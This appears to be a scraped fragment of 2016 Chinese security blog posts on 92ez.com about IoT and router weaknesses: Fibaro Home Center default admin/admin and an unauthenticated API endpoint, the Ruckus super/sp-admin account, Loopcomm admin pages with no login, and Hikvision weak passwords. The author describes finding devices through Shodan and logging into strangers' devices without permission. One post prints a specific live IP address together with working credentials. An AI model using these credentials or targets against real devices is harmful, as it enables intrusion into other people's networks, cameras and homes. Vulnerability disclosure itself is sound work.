</b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5076\u9047\u963f\u91cc\u4e91\u7f51\u7ad9\u6545\u969c"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-30, 1:04 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u968f\u624b\u8bb0", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u622a\u56fe\r\n</h2>\r\n<p>\r\n\t\u8bbf\u95ee www.aliyun.com \u76f4\u63a5\u8df3\u8f6c\u5230cn.aliyun.com </p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=471\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/a0d3290d9f76c14639262a16107f43a1.png\" alt=\"2016-10-30 00-57-52\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 64.15 KB - \u5c3a\u5bf8: 1219 x 570 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"421\"></a></div>\u5c1d\u8bd5\u767b\u5f55\u8bd5\u4e0b\uff0c\u7ed3\u679c\u663e\u793a\u627e\u4e0d\u5230\u7f51\u9875<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=472\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/fad445ef30c7dc16de0d8954f510d1f1.png\" alt=\"2016-10-30 01-00-25\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 112.27 KB - \u5c3a\u5bf8: 1223 x 865 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"637\"></a></div>\r\n\r\n<h2>\r\n\t\u63a8\u6d4b\r\n</h2>\r\n<p>\r\n\t\u6211\u63a8\u6d4b\u53ef\u80fd\u662f\u6211\u7684ss\u5168\u5c40\u4ee3\u7406\u5bfc\u81f4\u7684\uff0c\u963f\u91cc\u4e91\u68c0\u6d4b\u5230\u6211\u7684IP\u662f\u7f8e\u56fd\u7684\uff0c\u4f46\u662f\u4e3a\u6bdb\u767b\u5f55\u90fd\u4e0d\u884c\u5462\uff1f\u795e\u5947\uff5e\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23422 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Fibaro Home Center \u667a\u80fd\u5bb6\u5c45\u7cfb\u7edf\u9ed8\u8ba4\u53e3\u4ee4"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-25, 2:12 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\tFibaro Home Center \u667a\u80fd\u5bb6\u5c45\u7cfb\u7edf\u9ed8\u8ba4\u8d26\u53f7\u5bc6\u7801 admin/admin \uff0c\u626b\u63cf\u53d1\u73b0\u7f51\u7edc\u4e0a\u4e0d\u5c11\u7528\u6237\u8fd8\u4f9d\u7136\u4f7f\u7528\u7684\u662f\u9ed8\u8ba4\u8d26\u53f7\u5bc6\u7801\uff0c\u767b\u5f55\u540e\u53ef\u76f4\u63a5\u8fdc\u7a0b\u63a7\u5236\u5bb6\u91cc\u7684\u5404\u79cd\u8bbe\u5907\uff0c\u5305\u62ec\u7a97\u5e18\uff5e\r\n</p>\r\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\tshodan.io\u641c\u7d22\u5230\u7ed3\u679c\u4e0d\u5c11</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=462\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/ffd8e94d069cf26ee9369e9cbe3a4233.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t05-35-24.397z.png - \u5927\u5c0f: 190.76 KB - \u5c3a\u5bf8: 1276 x 941 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"664\"></a></div>\u4e3e\u4e2a\u4f8b\u5b50\uff08\u56fe\u7247\u8f83\u5927\uff09<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=463\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/88f8fccd41162e3c6b10d24339a0e717.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t05-38-11.092z.png - \u5927\u5c0f: 454.24 KB - \u5c3a\u5bf8: 1845 x 2469 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"673\" height=\"900\"></a></div>\u6211\u81ea\u5df1\u7684\u68c0\u7d22\u5e73\u53f0\u4e5f\u641c\u7d22\u5230\u4e86\u4e00\u4e9b<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=465\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/0e13cdfb8037617713a46f78951c2f7a.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t05-38-32.277z.png - \u5927\u5c0f: 99.99 KB - \u5c3a\u5bf8: 558 x 211 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"558\" height=\"211\"></a></div>\r\n\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u67e5\u770b\u63a5\u53e3\u8fd4\u56de\u7684\u6570\u636e\u91cc\u9762\u6709email\u5730\u5740</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=466\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/0e877f008513ac6023e32bc3383dc443.png\" alt=\"2016-10-25 13-37-28\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 158.68 KB - \u5c3a\u5bf8: 800 x 852 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"800\" height=\"852\"></a></div>\u591a\u7528\u6237\u7684\u60c5\u51b5\u4e0b\u76f4\u63a5\u8fd4\u56de\u4e86\u7528\u6237\u5217\u8868<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=467\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/2304ac8fb1ef5e4b213dab5d3003dd48.png\" alt=\"2016-10-25 13-52-11\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 89.87 KB - \u5c3a\u5bf8: 800 x 852 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"800\" height=\"852\"></a></div>\u800c\u63a5\u53e3\r\n\r\n<pre class=\"brush:bash;\">/api/settings/info</pre>\r\n<p>\r\n\t\u5219\u662f\u65e0\u9700\u6388\u6743\u5373\u53ef\u8bbf\u95ee\uff0c\u8fd4\u56de\u7684\u662f\u8bbe\u5907\u7684\u76f8\u5173\u4fe1\u606f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=468\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/d2f6a9ad3918acc882d8181f1b7b0bce.png\" alt=\"2016-10-25 13-59-42\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 16.83 KB - \u5c3a\u5bf8: 772 x 142 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"772\" height=\"142\"></a></div>\u7f16\u5199\u81ea\u52a8\u5316\u6d4b\u8bd5\u811a\u672c\u6279\u91cf\u83b7\u53d6\u7cfb\u7edf\u4fe1\u606f<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=469\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/4a4ac5bb79456aed174f68eadc683c70.png\" alt=\"2016-10-25 14-11-42\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 163.99 KB - \u5c3a\u5bf8: 1102 x 750 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"613\"></a></div>\r\n\r\n<h2>\r\n\t\u540e\u8bb0\r\n</h2>\r\n<p>\r\n\t\u8fd9\u4e2a\u95ee\u9898\u6211\u5f88\u65e9\u7684\u65f6\u5019\u5c31\u5728\u4e4c\u4e91\u4e0a\u63d0\u4ea4\u8fc7\uff0c\u53ea\u662f\u6ca1\u6709\u901a\u8fc7\u5ba1\u6838\uff0c\u53ef\u80fd\u662f\u56e0\u4e3a\u6848\u4f8b\u592a\u5c11\uff0c\u95ee\u9898\u8bf4\u5927\u4e5f\u4e0d\u7b97\u5927\uff0c\u6bd5\u7adf\u662f\u56e0\u4e3a\u7528\u6237\u81ea\u5df1\u7684\u5931\u8bef\u5bfc\u81f4\uff0c\u4f46\u662f\u95ee\u9898\u59cb\u7ec8\u662f\u95ee\u9898\uff0c\u53ef\u4ee5\u907f\u514d\u7684\u6700\u597d\u8fd8\u662f\u5f3a\u5236\u7528\u6237\u4fee\u6539\u4e00\u4e0b\u6bd4\u8f83\u59a5\u5f53\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23421 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u5927\u91cfRuckus\u65e0\u7ebf\u8def\u7531\u5668\u4f7f\u7528\u4e86\u9ed8\u8ba4\u7684\u8d85\u7ea7\u8d26\u53f7"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-25, 12:59 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u65e0\u7ebf\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u653b\u51fb\u6d4b\u8bd5", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u8fd9\u6b3e\u8def\u7531\u5668\u7684\u5ba3\u4f20\u6807\u8bed\u201c\u4e0d\u6b62\u662f\u66f4\u597d\u7684\u65e0\u7ebf\u7f51\u7edc\u201d\uff0c\u55ef\uff5e\u770b\u8d77\u6765\u771f\u7684\u5f88\u725b\u903c\u3002\u5b98\u7f51\u7684\u8bbe\u8ba1\u4e5f\u662f\u9738\u6c14\u4fa7\u6f0f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=455\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/e3f1fa773a27d4d75c2f5a59375b9236.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t04-31-19.203z.png - \u5927\u5c0f: 1.88 MB - \u5c3a\u5bf8: 1845 x 922 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"450\"></a></div>\r\n\r\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7shodan.io\u641c\u7d22\u5230\u4e0d\u5c11\u6848\u4f8b</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=456\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/9066dd0412066933a0695adb4c5b3e0d.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t04-36-28.255z.png - \u5927\u5c0f: 205.47 KB - \u5c3a\u5bf8: 1239 x 888 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"646\"></a></div>\u53ef\u4ee5\u770b\u5230\u5f88\u591a\u6848\u4f8b\u8fd8\u90fd\u662fHTTPS\u7684\uff0c\u7136\u800c\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u95ee\u9898\u4e00\u6837\u5b58\u5728\u7740\u8d85\u7ea7\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u6bd4\u5982\u8fd9\u4e2a\u6765\u81ea\u5b9d\u5c9b\u53f0\u6e7e\u7684IP\u5730\u5740\r\n\r\n<pre class=\"brush:bash;\">https://163.19.152.62/index.asp</pre>\r\n<p>\r\n\t\u76f4\u63a5\u4f7f\u7528\u7528\u6237\u540d super \u5bc6\u7801 sp-admin \u767b\u5f55\u6210\u529f</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=457\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/7a93afa1af2373176787fb3b4ff6fd5d.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t04-39-07.295z.png - \u5927\u5c0f: 67.4 KB - \u5c3a\u5bf8: 788 x 920 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"771\" height=\"900\"></a></div>\u6211\u4f7f\u7528\u81ea\u5df1\u7684\u626b\u63cf\u5e73\u53f0\u4e5f\u68c0\u7d22\u51fa\u4e86\u4e00\u4e9b<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=458\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/7023d336c70431036ce66dc135ed593d.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t04-40-01.583z.png - \u5927\u5c0f: 14.7 KB - \u5c3a\u5bf8: 365 x 403 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"365\" height=\"403\"></a></div>\u6211\u7684\u626b\u63cf\u5e73\u53f0\u53ea\u9488\u5bf9http\u8fdb\u884c\u4e86\u626b\u63cf\uff0c\u626b\u63cf\u51fa\u6765\u7684http\u94fe\u63a5\u57fa\u672c\u4e0a\u5c5e\u4e8e\u6bd4\u8f83\u65e7\u7684\u4ea7\u54c1\u3002\r\n\r\n<p>\r\n\t\u4ea7\u54c1\u867d\u65e7\uff0c\u4f46\u662f\u6f0f\u6d1e\u4f9d\u7136\uff0c\u90fd\u53ef\u4ee5\u4f7f\u7528\u8d85\u7ea7\u8d26\u53f7\u5bc6\u7801\u767b\u5f55\uff0c\u4e3e\u51e0\u4e2a\u4f8b\u5b50</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=459\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/ef6c51e19c1fd6459138612c8355a224.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t04-42-53.159z.png - \u5927\u5c0f: 45.78 KB - \u5c3a\u5bf8: 692 x 358 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"692\" height=\"358\"></a></div><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=460\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/48e558ce91902f435c93fca77bfc4ef3.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t04-42-23.263z.png - \u5927\u5c0f: 45.87 KB - \u5c3a\u5bf8: 718 x 361 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"718\" height=\"361\"></a></div>\r\n\r\n<h2>\r\n\t\u81ea\u52a8\u5316\u6d4b\u8bd5\r\n</h2>\r\n<p>\r\n\t\u4f7f\u7528Python\u7f16\u5199\u81ea\u52a8\u5316\u6d4b\u8bd5\u811a\u672c</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=461\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/af8684bc4f848db39b71973723680087.png\" alt=\"2016-10-25 12-57-26\u5c4f\u5e55\u622a\u56fe.png - \u5927\u5c0f: 177.37 KB - \u5c3a\u5bf8: 1357 x 617 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"410\"></a></div>\r\n<div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23420 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["Loopcomm WLAN AP Webserver \u65e0\u9700\u6388\u6743\u76f4\u63a5\u64cd\u4f5c"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-25, 12:00 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u65e0\u7ebf\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u901a\u4fe1\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u968f\u624b\u8bb0", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u4e00\u6b3e\u795e\u5947\u7684\u8def\u7531\u5668\uff0c\u4ea7\u54c1\u516c\u53f8\u5b98\u7f51\u5730\u5740 http://www.loopcomm.com/\uff0c\u5b98\u7f51\u4e0a\u7684\u4ea7\u54c1\u770b\u8d77\u6765\u8bbe\u8ba1\u6837\u5f0f\u8fd8\u662f\u633a\u4e0d\u9519\u7684</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=454\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/facf87d2fec56d48c0f52eedb25c59d7.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t03-56-23.751z.png - \u5927\u5c0f: 502 KB - \u5c3a\u5bf8: 1068 x 1320 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"728\" height=\"900\"></a></div>\r\n\r\n<h2>\r\n\t\u6848\u4f8b\r\n</h2>\r\n<p>\r\n\t\u901a\u8fc7shodan.io\u641c\u7d22\u5f97\u5230\u5c11\u91cf\u7684\u6848\u4f8b\uff0c\u4f46\u662f\u5b9e\u9645\u626b\u63cf\u5e76\u4e0d\u53ea\u6709\u8fd9\u51e0\u4e2a\u6848\u4f8b\uff0c\u626b\u63cf\u53f0\u6e7e\u7684IP\u6bb5\u53d1\u73b0\u6bd4\u8f83\u591a\u7684\u4f8b\u5b50</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=451\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/1766784a1a4387c9421ce849fc08e1b9.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t03-52-05.481z.png - \u5927\u5c0f: 137.38 KB - \u5c3a\u5bf8: 1015 x 663 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"900\" height=\"588\"></a></div>\r\n\r\n<p>\r\n\t\u76f4\u63a5\u8bbf\u95eeIP\u5c31\u80fd\u64cd\u4f5c\u8def\u7531\u8bbe\u7f6e\uff0c\u4e0d\u9700\u8981\u6388\u6743\u767b\u5f55\uff0c\u4e3e\u4e2a\u4f8b\u5b50</p><div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=452\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/a38318dbdf8ec3b77338614dbf447a40.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t03-54-02.867z.png - \u5927\u5c0f: 122.86 KB - \u5c3a\u5bf8: 864 x 850 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"864\" height=\"850\"></a></div>\u518d\u6765\u4e00\u4e2a<div class=\"attach\"><a href=\"https://www.92ez.com/attachment.php?id=453\" target=\"_blank\"><img src=\"https://www.92ez.com/attachments/date_201610/9bed1f3f7d2f14300c60a6c3d2606eb6.png\" alt=\"\u706b\u72d0\u622a\u56fe_2016-10-25t03-54-35.551z.png - \u5927\u5c0f: 136.34 KB - \u5c3a\u5bf8: 849 x 926 - \u70b9\u51fb\u6253\u5f00\u65b0\u7a97\u53e3\u6d4f\u89c8\u5168\u56fe\" width=\"826\" height=\"900\"></a></div>\r\n\r\n<h2>\r\n\t\u603b\u7ed3\r\n</h2>\r\n<p>\r\n\t\u50cf\u8fd9\u79cd\u8def\u7531\u8bbe\u5907\u7684web\u7ba1\u7406\u754c\u9762\u6700\u597d\u8fd8\u662f\u52a0\u4e0a\u6388\u6743\uff0c\u4e00\u65e6\u66b4\u9732\u5728\u5916\u7f51\u88ab\u4eba\u64cd\u4f5c\u662f\u6bd4\u8f83\u5371\u9669\u7684\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23419 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["\u6d77\u5eb7\u5a01\u89c6\u76d1\u63a7\u8bbe\u5907\u5f31\u53e3\u4ee4\u5230\u5e95\u6709\u591a\u5c11"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-10-24, 11:44 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u4fe1\u606f\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Web\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\t\u6d77\u5eb7\u5a01\u89c6\u76d1\u63a7\u8bbe\u5907\u7684\u9ed8\u8ba4\u5f31\u53e3\u4ee4\u95ee\u9898\u5728\u51e0\u5e74\u524d\u5c31\u5df2\u7ecf\u88ab\u66dd\u5149\uff0c\u4f46\u662f\u4e00\u76f4\u6ca1\u6709\u88ab\u91cd\u89c6\uff0c\u76f4\u5230\u540e\u6765\u5927\u534e\u7684\u76d1\u63a7\u88ab\u66dd\u5149\u4e4b\u540e\u6d77\u5eb7\u5a01\u89c6\u624d\u5f00\u59cb\u6574\u987f\uff0c\u8bd5\u60f3\u4e00\u4e0b\u5982\u679c\u5f53\u65f6\u4e0d\u662f\u56e0\u4e3a\u88ab\u653f\u5e9c\u673a\u6784\u5927\u91cf\u91c7\u7528\u7684\u5927\u534e\u76d1\u63a7\u51fa\u73b0\u95ee\u9898\u88ab\u8981\u6c42\u5f3a\u5236\u6574\u6539\uff0c\u6211\u4f30\u8ba1\u6d77\u5eb7\u5a01\u89c6\u81f3\u4eca\u4e5f\u4e0d\u4f1a\u53bb\u91cd\u89c6\u8fd9\u4e2a\u9ed8\u8ba4\u5f31\u53e3\u4ee4\u7684\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u5e9f\u8bdd\u4e0d\u591a\u8bf4\uff0c\u535a\u4e3b\u7b80\u5355\u7684\u5bf9\u51e0\u4e2aIP\u6bb5\u8fdb\u884c\u4e86\u626b\u63cf\uff0c\u81ea\u52a8\u5316\u6d4b\u8bd5\u540e\u8f7b\u8f7b\u677e\u677e\u767b\u5f55\u6210\u529f1000\u591a\u4e2a\u76d1\u63a7\u8bbe\u5907\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u5176\u5b9e\u65e9\u57282014\u5e74\